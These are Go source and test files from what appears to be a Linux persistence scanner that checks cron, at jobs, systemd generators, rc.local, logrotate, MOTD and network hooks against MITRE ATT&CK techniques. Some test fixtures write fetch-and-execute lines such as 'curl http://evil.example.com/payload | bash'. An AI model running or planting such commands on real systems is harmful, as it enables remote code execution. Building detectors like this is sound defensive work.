ui.Dim("Summary:"),
ui.HiRedBold(fmt.Sprintf("%d", s.Critical)),
ui.Dim("critical"),
ui.RedBold(fmt.Sprintf("%d", s.High)),
ui.Dim("high"),
ui.YellowBold(fmt.Sprintf("%d", s.Medium)),
ui.Dim("medium"),
ui.CyanBold(fmt.Sprintf("%d", s.Low)),
ui.Dim("low"),
ui.Dim(fmt.Sprintf("%d info", s.Info)),
)
fmt.Printf(
" %s Completed in %dms\n\n",
ui.Dim(ui.Timer),
result.DurationMs,
)
}
const maxEvidenceLen = 100
func truncateEvidence(s string) string {
if len(s) <= maxEvidenceLen {
return s
}
return s[:maxEvidenceLen] + "..."
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/*
©AngelaMos | 2026
atjob.go
Scans the at job spool for scheduled one-time persistence
Checks /var/spool/at/ and /var/spool/atjobs/ for pending at jobs
that execute commands at a scheduled time. At jobs are frequently
overlooked during incident response.
MITRE ATT&CK:
T1053.001 - Scheduled Task/Job: At
*/
package scanner
import (
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
atjobScannerName = "atjob"
mitreAt = "T1053.001"
)
var atDirs = []string{
"/var/spool/at",
"/var/spool/atjobs",
}
func init() {
Register(&AtJobScanner{})
}
type AtJobScanner struct{}
func (a *AtJobScanner) Name() string {
return atjobScannerName
}
func (a *AtJobScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
for _, dir := range atDirs {
resolved := ResolveRoot(root, dir)
files := ListFiles(resolved)
for _, path := range files {
findings = append(findings, types.Finding{
Scanner: atjobScannerName,
Severity: types.SeverityLow,
Title: "Pending at job found",
Path: path,
Evidence: "Scheduled one-time execution",
MITRE: mitreAt,
})
findings = append(
findings,
ScanFileForPatterns(
path, atjobScannerName, mitreAt,
)...,
)
}
}
return findings
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/*
©AngelaMos | 2026
atjob_test.go
*/
package scanner
import (
"os"
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestAtJobScanner_PendingJob(t *testing.T) {
root := t.TempDir()
spoolDir := filepath.Join(root, "var", "spool", "at")
if err := os.MkdirAll(spoolDir, 0o750); err != nil {
t.Fatal(err)
}
jobPath := filepath.Join(spoolDir, "pending-job")
writeTestFile(
t, jobPath,
"#!/bin/sh\ncurl http://evil.example.com/payload | bash\n",
)
a := &AtJobScanner{}
findings := a.Scan(root)
if len(findings) == 0 {
t.Fatal("at job spool with files produced no findings")
}
hasLow := false
hasHigh := false
for _, f := range findings {
if f.Title == "Pending at job found" {
hasLow = true
}
if f.Severity >= types.SeverityHigh {
hasHigh = true
}
}
if !hasLow {
t.Error("expected 'Pending at job found' finding")
}
if !hasHigh {
t.Error(
"expected high+ finding for curl|bash in at job",
)
}
}
func TestAtJobScanner_EmptySpool(t *testing.T) {
a := &AtJobScanner{}
emptyRoot := t.TempDir()
findings := a.Scan(emptyRoot)
if len(findings) > 0 {
t.Errorf(
"empty spool produced %d findings, want 0",
len(findings),
)
}
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/*
©AngelaMos | 2026
completion.go
Scans bash completion scripts for persistence via shell sourcing
Bash completion scripts in /etc/bash_completion.d/ and user
~/.bash_completion files are sourced on every interactive shell
startup. They execute in the user's context and are rarely
monitored, making them attractive for credential theft and
C2 callbacks.
MITRE ATT&CK:
T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
*/
package scanner
import (
"path/filepath"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
completionScannerName = "completion"
mitreCompletion = "T1546.004"
)
func init() {
Register(&CompletionScanner{})
}
type CompletionScanner struct{}
func (c *CompletionScanner) Name() string {
return completionScannerName
}
func (c *CompletionScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
sysDir := ResolveRoot(root, "/etc/bash_completion.d")
for _, path := range ListFiles(sysDir) {
findings = append(
findings,
ScanFileForPatterns(
path, completionScannerName, mitreCompletion,
)...,
)
}
for _, home := range FindUserDirs(root) {
bc := filepath.Join(home, ".bash_completion")
findings = append(
findings,
ScanFileForPatterns(
bc, completionScannerName, mitreCompletion,
)...,
)
}
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}

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/*
©AngelaMos | 2026
completion_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestCompletionScanner_CleanScript(t *testing.T) {
path := filepath.Join(
testdataDir(), "completion", "clean-completion",
)
findings := ScanFileForPatterns(
path, completionScannerName, mitreCompletion,
)
if len(findings) > 0 {
t.Errorf(
"clean completion produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestCompletionScanner_MaliciousScript(t *testing.T) {
path := filepath.Join(
testdataDir(), "completion", "malicious-completion",
)
findings := ScanFileForPatterns(
path, completionScannerName, mitreCompletion,
)
if len(findings) == 0 {
t.Fatal(
"malicious completion produced no findings",
)
}
hasHigh := false
for _, f := range findings {
if f.Severity >= types.SeverityHigh {
hasHigh = true
}
}
if !hasHigh {
t.Error(
"expected high+ severity for curl|bash in completion",
)
}
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/*
©AngelaMos | 2026
cron.go
Scans all cron locations for persistence indicators
Checks per-user crontabs, system crontab, cron.d drop-ins, periodic
cron directories, and anacron. Parses crontab entries to extract
commands and runs them through the suspicious pattern engine.
MITRE ATT&CK:
T1053.003 - Scheduled Task/Job: Cron
*/
package scanner
import (
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
cronScannerName = "cron"
mitreCron = "T1053.003"
)
var cronDirs = []string{
"/etc/cron.d",
"/etc/cron.daily",
"/etc/cron.hourly",
"/etc/cron.weekly",
"/etc/cron.monthly",
}
var cronSpoolDirs = []string{
"/var/spool/cron/crontabs",
"/var/spool/cron",
}
func init() {
Register(&CronScanner{})
}
type CronScanner struct{}
func (c *CronScanner) Name() string {
return cronScannerName
}
func (c *CronScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
etcCrontab := ResolveRoot(root, "/etc/crontab")
findings = append(
findings,
c.scanCrontab(etcCrontab)...,
)
anacrontab := ResolveRoot(root, "/etc/anacrontab")
findings = append(
findings,
c.scanCrontab(anacrontab)...,
)
for _, dir := range cronDirs {
resolved := ResolveRoot(root, dir)
for _, path := range ListFiles(resolved) {
findings = append(
findings,
c.scanCrontab(path)...,
)
findings = append(
findings,
c.checkPermissions(path)...,
)
}
}
for _, dir := range cronSpoolDirs {
resolved := ResolveRoot(root, dir)
for _, path := range ListFiles(resolved) {
findings = append(
findings,
c.scanCrontab(path)...,
)
}
}
return findings
}
func (c *CronScanner) scanCrontab(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
if IsCommentOrEmpty(line) {
continue
}
cmd := extractCronCommand(line)
if cmd == "" {
continue
}
matched, sev, label := MatchLine(cmd)
if matched {
findings = append(findings, types.Finding{
Scanner: cronScannerName,
Severity: sev,
Title: "Suspicious cron entry: " + label,
Path: path,
Evidence: strings.TrimSpace(line),
MITRE: mitreCron,
})
}
}
return findings
}
func extractCronCommand(line string) string {
trimmed := strings.TrimSpace(line)
if trimmed == "" || strings.HasPrefix(trimmed, "#") {
return ""
}
firstField := strings.Fields(trimmed)[0]
if strings.Contains(firstField, "=") {
return ""
}
if strings.HasPrefix(trimmed, "@") {
parts := strings.Fields(trimmed)
if len(parts) >= 2 {
return strings.Join(parts[1:], " ")
}
return ""
}
fields := strings.Fields(trimmed)
if len(fields) >= 7 {
return strings.Join(fields[6:], " ")
}
if len(fields) >= 6 {
return strings.Join(fields[5:], " ")
}
return trimmed
}
func (c *CronScanner) checkPermissions(
path string,
) []types.Finding {
if !IsWorldWritable(path) {
return nil
}
return []types.Finding{{
Scanner: cronScannerName,
Severity: types.SeverityMedium,
Title: "World-writable cron file",
Path: path,
Evidence: "Any user can modify this cron entry",
MITRE: mitreCron,
}}
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/*
©AngelaMos | 2026
cron_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestCronScanner_CleanCrontab(t *testing.T) {
c := &CronScanner{}
path := filepath.Join(
testdataDir(), "cron", "clean-crontab",
)
findings := c.scanCrontab(path)
if len(findings) > 0 {
t.Errorf(
"clean crontab produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestCronScanner_MaliciousCrontab(t *testing.T) {
c := &CronScanner{}
path := filepath.Join(
testdataDir(), "cron", "malicious-crontab",
)
findings := c.scanCrontab(path)
for _, f := range findings {
t.Logf(
"finding: sev=%s title=%s evidence=%s",
f.Severity, f.Title, f.Evidence,
)
}
if len(findings) < 3 {
t.Fatalf(
"malicious crontab: got %d findings, want >= 3",
len(findings),
)
}
hasCritical := false
hasHigh := false
for _, f := range findings {
if f.Severity == types.SeverityCritical {
hasCritical = true
}
if f.Severity == types.SeverityHigh {
hasHigh = true
}
}
if !hasCritical {
t.Error("expected critical finding for reverse shell")
}
if !hasHigh {
t.Error("expected high finding for curl|bash")
}
}
func TestExtractCronCommand(t *testing.T) {
tests := []struct {
name string
line string
want string
}{
{
name: "system cron with user field",
line: "0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf",
want: "/usr/sbin/logrotate /etc/logrotate.conf",
},
{
name: "at-style entry",
line: "@reboot root /usr/bin/startup.sh",
want: "root /usr/bin/startup.sh",
},
{
name: "environment variable",
line: "SHELL=/bin/bash",
want: "",
},
{
name: "comment",
line: "# some comment",
want: "",
},
{
name: "empty",
line: "",
want: "",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := extractCronCommand(tt.line)
if got != tt.want {
t.Errorf(
"extractCronCommand(%q) = %q, want %q",
tt.line, got, tt.want,
)
}
})
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/*
©AngelaMos | 2026
generator.go
Scans systemd generator directories for persistence executables
Systemd generators run very early in boot, before logging starts,
and produce unit files dynamically. Any executable placed in a
generator directory runs as root with minimal audit trail. Flags
all executables found, with elevated severity for world-writable
files or recent modifications.
MITRE ATT&CK:
T1543.002 - Create or Modify System Process: Systemd Service
*/
package scanner
import (
"time"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
generatorScannerName = "generator"
mitreGenerator = "T1543.002"
)
var generatorDirs = []string{
"/etc/systemd/system-generators",
"/usr/local/lib/systemd/system-generators",
"/lib/systemd/system-generators",
"/usr/lib/systemd/system-generators",
"/run/systemd/system-generators",
"/etc/systemd/user-generators",
"/usr/local/lib/systemd/user-generators",
"/usr/lib/systemd/user-generators",
"/run/systemd/user-generators",
}
func init() {
Register(&GeneratorScanner{})
}
type GeneratorScanner struct{}
func (g *GeneratorScanner) Name() string {
return generatorScannerName
}
func (g *GeneratorScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
for _, dir := range generatorDirs {
resolved := ResolveRoot(root, dir)
for _, path := range ListFiles(resolved) {
findings = append(findings, types.Finding{
Scanner: generatorScannerName,
Severity: types.SeverityMedium,
Title: "Systemd generator executable found",
Path: path,
Evidence: "Generators run as root early in boot before logging",
MITRE: mitreGenerator,
})
findings = append(
findings,
ScanFileForPatterns(
path, generatorScannerName, mitreGenerator,
)...,
)
if IsWorldWritable(path) {
findings = append(findings, types.Finding{
Scanner: generatorScannerName,
Severity: types.SeverityHigh,
Title: "World-writable systemd generator",
Path: path,
Evidence: "Any user can modify this generator",
MITRE: mitreGenerator,
})
}
if ModifiedWithin(path, 24*time.Hour) {
findings = append(findings, types.Finding{
Scanner: generatorScannerName,
Severity: types.SeverityHigh,
Title: "Recently modified systemd generator",
Path: path,
Evidence: "Modified within the last 24 hours",
MITRE: mitreGenerator,
})
}
}
}
return findings
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/*
©AngelaMos | 2026
generator_test.go
*/
package scanner
import (
"os"
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestGeneratorScanner_MaliciousGenerator(t *testing.T) {
root := t.TempDir()
genDir := filepath.Join(
root, "etc", "systemd", "system-generators",
)
if err := os.MkdirAll(genDir, 0o750); err != nil {
t.Fatal(err)
}
src := filepath.Join(
testdataDir(), "generator", "malicious-generator",
)
data, err := os.ReadFile(src) //nolint:gosec
if err != nil {
t.Fatal(err)
}
writeTestFile(
t, filepath.Join(genDir, "backdoor-gen"), string(data),
)
g := &GeneratorScanner{}
findings := g.Scan(root)
if len(findings) == 0 {
t.Fatal("generator with content produced no findings")
}
hasExistence := false
hasPattern := false
for _, f := range findings {
if f.Title == "Systemd generator executable found" {
hasExistence = true
}
if f.Severity >= types.SeverityHigh {
hasPattern = true
}
}
if !hasExistence {
t.Error("expected existence finding for generator")
}
if !hasPattern {
t.Error(
"expected high+ finding for curl|bash in generator",
)
}
}
func TestGeneratorScanner_EmptyDir(t *testing.T) {
g := &GeneratorScanner{}
findings := g.Scan(t.TempDir())
if len(findings) > 0 {
t.Errorf(
"empty generator dirs produced %d findings, want 0",
len(findings),
)
}
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/*
©AngelaMos | 2026
helpers.go
Shared filesystem utilities used by all scanner modules
Provides safe file reading, directory listing, line scanning, and
file-age checking functions. Handles permission errors gracefully
by returning empty results rather than propagating errors, since
scanners should skip inaccessible paths without aborting the run.
*/
package scanner
import (
"bufio"
"os"
"path/filepath"
"strings"
"time"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func ReadLines(path string) []string {
f, err := os.Open(path) //nolint:gosec
if err != nil {
return nil
}
defer f.Close() //nolint:errcheck
var lines []string
sc := bufio.NewScanner(f)
for sc.Scan() {
lines = append(lines, sc.Text())
}
return lines
}
func ListDir(dir string) []os.DirEntry {
entries, err := os.ReadDir(dir)
if err != nil {
return nil
}
return entries
}
func ListFiles(dir string) []string {
entries := ListDir(dir)
var paths []string
for _, e := range entries {
if !e.IsDir() {
paths = append(paths, filepath.Join(dir, e.Name()))
}
}
return paths
}
func FileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func IsWorldWritable(path string) bool {
info, err := os.Stat(path)
if err != nil {
return false
}
return info.Mode().Perm()&0o002 != 0
}
func ModifiedWithin(path string, d time.Duration) bool {
info, err := os.Stat(path)
if err != nil {
return false
}
return time.Since(info.ModTime()) < d
}
func ResolveRoot(root, path string) string {
if root == "/" {
return path
}
return filepath.Join(root, path)
}
func FindUserDirs(root string) []string {
homeBase := ResolveRoot(root, "/home")
entries := ListDir(homeBase)
var dirs []string
for _, e := range entries {
if e.IsDir() {
dirs = append(
dirs,
filepath.Join(homeBase, e.Name()),
)
}
}
rootHome := ResolveRoot(root, "/root")
if FileExists(rootHome) {
dirs = append(dirs, rootHome)
}
return dirs
}
func IsCommentOrEmpty(line string) bool {
trimmed := strings.TrimSpace(line)
return trimmed == "" || strings.HasPrefix(trimmed, "#")
}
func ScanFileForPatterns(
path, scannerName, mitre string,
) []types.Finding {
lines := ReadLines(path)
var findings []types.Finding
for _, line := range lines {
if IsCommentOrEmpty(line) {
continue
}
matched, sev, label := MatchLine(line)
if matched {
findings = append(findings, types.Finding{
Scanner: scannerName,
Severity: sev,
Title: label,
Path: path,
Evidence: strings.TrimSpace(line),
MITRE: mitre,
})
}
}
return findings
}
func containsShellCommand(line string) bool {
shells := []string{
"/bin/sh", "/bin/bash", "/bin/zsh",
"/usr/bin/sh", "/usr/bin/bash",
}
for _, sh := range shells {
if strings.Contains(line, sh) {
return true
}
}
return NetworkToolPattern.MatchString(line) ||
ScriptLangPattern.MatchString(line)
}

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/*
©AngelaMos | 2026
helpers_test.go
*/
package scanner
import (
"os"
"testing"
)
func writeTestFile(t *testing.T, path, content string) {
t.Helper()
if err := os.WriteFile(
path, []byte(content), 0o600,
); err != nil {
t.Fatalf("writing test file %s: %v", path, err)
}
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/*
©AngelaMos | 2026
initd.go
Scans SysV init scripts and rc.local for persistence indicators
Checks /etc/init.d/ for non-standard scripts and /etc/rc.local for
any executable content beyond comments. Legacy persistence mechanism
that still works on many modern Linux distributions.
MITRE ATT&CK:
T1037.004 - Boot or Logon Initialization Scripts: RC Scripts
*/
package scanner
import (
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
initdScannerName = "initd"
mitreInitd = "T1037.004"
)
func init() {
Register(&InitdScanner{})
}
type InitdScanner struct{}
func (i *InitdScanner) Name() string {
return initdScannerName
}
func (i *InitdScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
initDir := ResolveRoot(root, "/etc/init.d")
for _, path := range ListFiles(initDir) {
findings = append(
findings,
ScanFileForPatterns(
path, initdScannerName, mitreInitd,
)...,
)
if IsWorldWritable(path) {
findings = append(findings, types.Finding{
Scanner: initdScannerName,
Severity: types.SeverityMedium,
Title: "World-writable init.d script",
Path: path,
Evidence: "Any user can modify this init script",
MITRE: mitreInitd,
})
}
}
rcLocal := ResolveRoot(root, "/etc/rc.local")
findings = append(
findings,
i.scanRcLocal(rcLocal)...,
)
return findings
}
func (i *InitdScanner) scanRcLocal(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
hasContent := false
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if trimmed == "" ||
strings.HasPrefix(trimmed, "#") ||
trimmed == "exit 0" {
continue
}
hasContent = true
break
}
if !hasContent {
return nil
}
findings := []types.Finding{{
Scanner: initdScannerName,
Severity: types.SeverityMedium,
Title: "rc.local contains executable content",
Path: path,
Evidence: "rc.local runs as root at boot",
MITRE: mitreInitd,
}}
findings = append(
findings,
ScanFileForPatterns(
path, initdScannerName, mitreInitd,
)...,
)
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/*
©AngelaMos | 2026
initd_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestInitdScanner_RcLocal(t *testing.T) {
i := &InitdScanner{}
path := filepath.Join(
testdataDir(), "initd", "rc.local",
)
findings := i.scanRcLocal(path)
if len(findings) == 0 {
t.Fatal("rc.local with content produced no findings")
}
hasContent := false
hasHighOrAbove := false
for _, f := range findings {
if f.Title == "rc.local contains executable content" {
hasContent = true
}
if f.Severity >= types.SeverityHigh {
hasHighOrAbove = true
}
}
if !hasContent {
t.Error(
"expected 'rc.local contains executable content' finding",
)
}
if !hasHighOrAbove {
t.Error(
"expected high+ finding for wget|sh in rc.local",
)
}
}
func TestInitdScanner_EmptyRcLocal(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "rc.local")
writeTestFile(t, path, "#!/bin/sh\n# nothing here\nexit 0\n")
i := &InitdScanner{}
findings := i.scanRcLocal(path)
if len(findings) > 0 {
t.Errorf(
"empty rc.local produced %d findings, want 0",
len(findings),
)
}
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/*
©AngelaMos | 2026
kernel.go
Scans kernel module configuration for persistence indicators
Checks /etc/modules-load.d/ and /etc/modprobe.d/ for suspicious
module load directives and install hooks that execute shell commands
when modules are loaded.
MITRE ATT&CK:
T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions
*/
package scanner
import (
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
kernelScannerName = "kernel"
mitreKernel = "T1547.006"
)
func init() {
Register(&KernelScanner{})
}
type KernelScanner struct{}
func (k *KernelScanner) Name() string {
return kernelScannerName
}
func (k *KernelScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
modulesD := ResolveRoot(root, "/etc/modules-load.d")
for _, path := range ListFiles(modulesD) {
findings = append(
findings,
k.scanModulesFile(path)...,
)
}
modulesFile := ResolveRoot(root, "/etc/modules")
findings = append(
findings,
k.scanModulesFile(modulesFile)...,
)
modprobeD := ResolveRoot(root, "/etc/modprobe.d")
for _, path := range ListFiles(modprobeD) {
findings = append(
findings,
k.scanModprobeConf(path)...,
)
}
return findings
}
func (k *KernelScanner) scanModulesFile(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if IsCommentOrEmpty(trimmed) {
continue
}
findings = append(findings, types.Finding{
Scanner: kernelScannerName,
Severity: types.SeverityInfo,
Title: "Kernel module loaded at boot",
Path: path,
Evidence: trimmed,
MITRE: mitreKernel,
})
}
return findings
}
func (k *KernelScanner) scanModprobeConf(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if IsCommentOrEmpty(trimmed) {
continue
}
if strings.HasPrefix(trimmed, "install ") &&
containsShellCommand(trimmed) {
findings = append(findings, types.Finding{
Scanner: kernelScannerName,
Severity: types.SeverityHigh,
Title: "Module install hook runs shell command",
Path: path,
Evidence: trimmed,
MITRE: mitreKernel,
})
}
}
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}

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/*
©AngelaMos | 2026
kernel_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestKernelScanner_SuspiciousModprobe(t *testing.T) {
k := &KernelScanner{}
path := filepath.Join(
testdataDir(), "kernel", "suspicious.conf",
)
findings := k.scanModprobeConf(path)
if len(findings) == 0 {
t.Fatal(
"suspicious modprobe config produced no findings",
)
}
if findings[0].Severity != types.SeverityHigh {
t.Errorf(
"severity = %v, want high",
findings[0].Severity,
)
}
if findings[0].Title != "Module install hook runs shell command" {
t.Errorf(
"title = %q, want %q",
findings[0].Title,
"Module install hook runs shell command",
)
}
}
func TestKernelScanner_CleanModules(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "clean.conf")
writeTestFile(
t, path,
"# Clean module config\n"+
"options snd_hda_intel power_save=1\n"+
"blacklist nouveau\n",
)
k := &KernelScanner{}
findings := k.scanModprobeConf(path)
if len(findings) > 0 {
t.Errorf(
"clean modprobe produced %d findings, want 0",
len(findings),
)
}
}
func TestKernelScanner_ModulesFile(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "modules")
writeTestFile(
t, path,
"# /etc/modules\nlp\nloop\n",
)
k := &KernelScanner{}
findings := k.scanModulesFile(path)
if len(findings) != 2 {
t.Fatalf(
"modules file: got %d findings, want 2",
len(findings),
)
}
for _, f := range findings {
if f.Severity != types.SeverityInfo {
t.Errorf(
"severity = %v, want info",
f.Severity,
)
}
}
}
func TestContainsShellCommand(t *testing.T) {
tests := []struct {
name string
line string
want bool
}{
{
name: "bash path",
line: "install usb-storage /bin/bash -c 'echo test'",
want: true,
},
{
name: "network tool",
line: "install fake curl http://evil.com",
want: true,
},
{
name: "clean modprobe",
line: "install pcspkr /bin/true",
want: false,
},
{
name: "python script",
line: "install mod python3 -c 'import os'",
want: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := containsShellCommand(tt.line)
if got != tt.want {
t.Errorf(
"containsShellCommand(%q) = %v, want %v",
tt.line, got, tt.want,
)
}
})
}
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/*
©AngelaMos | 2026
logrotate.go
Scans logrotate configuration for persistence via rotate hooks
Parses /etc/logrotate.d/ configs for postrotate, prerotate,
firstaction, and lastaction blocks that execute shell commands
as root during log rotation. Attackers embed callbacks here
because these files are rarely audited.
MITRE ATT&CK:
T1053.003 - Scheduled Task/Job: Cron
*/
package scanner
import (
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
logrotateScannerName = "logrotate"
mitreLogrotate = "T1053.003"
)
var rotateHooks = []string{
"postrotate",
"prerotate",
"firstaction",
"lastaction",
}
func init() {
Register(&LogrotateScanner{})
}
type LogrotateScanner struct{}
func (l *LogrotateScanner) Name() string {
return logrotateScannerName
}
func (l *LogrotateScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
confD := ResolveRoot(root, "/etc/logrotate.d")
for _, path := range ListFiles(confD) {
findings = append(
findings,
l.scanConfig(path)...,
)
}
mainConf := ResolveRoot(root, "/etc/logrotate.conf")
findings = append(
findings,
l.scanConfig(mainConf)...,
)
return findings
}
func (l *LogrotateScanner) scanConfig(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
inBlock := false
blockName := ""
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if trimmed == "endscript" {
inBlock = false
continue
}
for _, hook := range rotateHooks {
if trimmed == hook {
inBlock = true
blockName = hook
break
}
}
if !inBlock {
continue
}
if IsCommentOrEmpty(trimmed) {
continue
}
matched, sev, label := MatchLine(trimmed)
if matched {
findings = append(findings, types.Finding{
Scanner: logrotateScannerName,
Severity: sev,
Title: "Suspicious logrotate " +
blockName + ": " + label,
Path: path,
Evidence: trimmed,
MITRE: mitreLogrotate,
})
continue
}
if containsShellCommand(trimmed) {
findings = append(findings, types.Finding{
Scanner: logrotateScannerName,
Severity: types.SeverityMedium,
Title: "Logrotate " + blockName +
" runs shell command",
Path: path,
Evidence: trimmed,
MITRE: mitreLogrotate,
})
}
}
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/*
©AngelaMos | 2026
logrotate_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestLogrotateScanner_CleanConfig(t *testing.T) {
l := &LogrotateScanner{}
path := filepath.Join(
testdataDir(), "logrotate", "clean-syslog",
)
findings := l.scanConfig(path)
if len(findings) > 0 {
t.Errorf(
"clean logrotate config produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestLogrotateScanner_MaliciousConfig(t *testing.T) {
l := &LogrotateScanner{}
path := filepath.Join(
testdataDir(), "logrotate", "malicious-app",
)
findings := l.scanConfig(path)
if len(findings) == 0 {
t.Fatal(
"malicious logrotate config produced no findings",
)
}
hasHigh := false
for _, f := range findings {
if f.Severity >= types.SeverityHigh {
hasHigh = true
}
}
if !hasHigh {
t.Error(
"expected high+ severity for curl|bash in postrotate",
)
}
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/*
©AngelaMos | 2026
motd.go
Scans MOTD scripts for login-triggered persistence
Checks /etc/update-motd.d/ for scripts that execute as root on
every SSH or console login. Attackers plant callbacks here because
the directory is rarely monitored.
MITRE ATT&CK:
T1546 - Event Triggered Execution
*/
package scanner
import (
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
motdScannerName = "motd"
mitreMOTD = "T1546"
)
func init() {
Register(&MOTDScanner{})
}
type MOTDScanner struct{}
func (m *MOTDScanner) Name() string {
return motdScannerName
}
func (m *MOTDScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
motdDir := ResolveRoot(root, "/etc/update-motd.d")
for _, path := range ListFiles(motdDir) {
findings = append(
findings,
ScanFileForPatterns(
path, motdScannerName, mitreMOTD,
)...,
)
if IsWorldWritable(path) {
findings = append(findings, types.Finding{
Scanner: motdScannerName,
Severity: types.SeverityMedium,
Title: "World-writable MOTD script",
Path: path,
Evidence: "Any user can modify this login script",
MITRE: mitreMOTD,
})
}
}
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/*
©AngelaMos | 2026
motd_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestMOTDScanner_CleanScript(t *testing.T) {
path := filepath.Join(
testdataDir(), "motd", "clean-motd",
)
findings := ScanFileForPatterns(
path, motdScannerName, mitreMOTD,
)
if len(findings) > 0 {
t.Errorf(
"clean motd produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestMOTDScanner_SuspiciousScript(t *testing.T) {
path := filepath.Join(
testdataDir(), "motd", "suspicious-motd",
)
findings := ScanFileForPatterns(
path, motdScannerName, mitreMOTD,
)
if len(findings) < 2 {
t.Fatalf(
"suspicious motd: got %d findings, want >= 2",
len(findings),
)
}
hasHigh := false
hasMedium := false
for _, f := range findings {
if f.Severity >= types.SeverityHigh {
hasHigh = true
}
if f.Severity >= types.SeverityMedium {
hasMedium = true
}
}
if !hasHigh {
t.Error("expected high+ severity for curl|bash")
}
if !hasMedium {
t.Error("expected medium+ severity for nohup")
}
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/*
©AngelaMos | 2026
netifhook.go
Scans network interface hook directories for persistence scripts
Checks NetworkManager dispatcher scripts and if-up.d hooks that
trigger on network state changes. Attackers use these to establish
C2 callbacks whenever a network interface activates.
MITRE ATT&CK:
T1546 - Event Triggered Execution
*/
package scanner
import (
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
netifhookScannerName = "netifhook"
mitreNetifhook = "T1546"
)
var netHookDirs = []string{
"/etc/NetworkManager/dispatcher.d",
"/etc/NetworkManager/dispatcher.d/pre-up.d",
"/etc/NetworkManager/dispatcher.d/pre-down.d",
"/etc/network/if-up.d",
"/etc/network/if-down.d",
"/etc/network/if-pre-up.d",
"/etc/network/if-post-down.d",
}
func init() {
Register(&NetIfHookScanner{})
}
type NetIfHookScanner struct{}
func (n *NetIfHookScanner) Name() string {
return netifhookScannerName
}
func (n *NetIfHookScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
for _, dir := range netHookDirs {
resolved := ResolveRoot(root, dir)
for _, path := range ListFiles(resolved) {
findings = append(
findings,
ScanFileForPatterns(
path,
netifhookScannerName,
mitreNetifhook,
)...,
)
if IsWorldWritable(path) {
findings = append(findings, types.Finding{
Scanner: netifhookScannerName,
Severity: types.SeverityMedium,
Title: "World-writable network hook script",
Path: path,
Evidence: "Any user can modify this network hook",
MITRE: mitreNetifhook,
})
}
}
}
return findings
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/*
©AngelaMos | 2026
netifhook_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestNetIfHookScanner_CleanHook(t *testing.T) {
path := filepath.Join(
testdataDir(), "netifhook", "clean-hook",
)
findings := ScanFileForPatterns(
path, netifhookScannerName, mitreNetifhook,
)
if len(findings) > 0 {
t.Errorf(
"clean network hook produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestNetIfHookScanner_MaliciousHook(t *testing.T) {
path := filepath.Join(
testdataDir(), "netifhook", "malicious-hook",
)
findings := ScanFileForPatterns(
path, netifhookScannerName, mitreNetifhook,
)
if len(findings) == 0 {
t.Fatal(
"malicious network hook produced no findings",
)
}
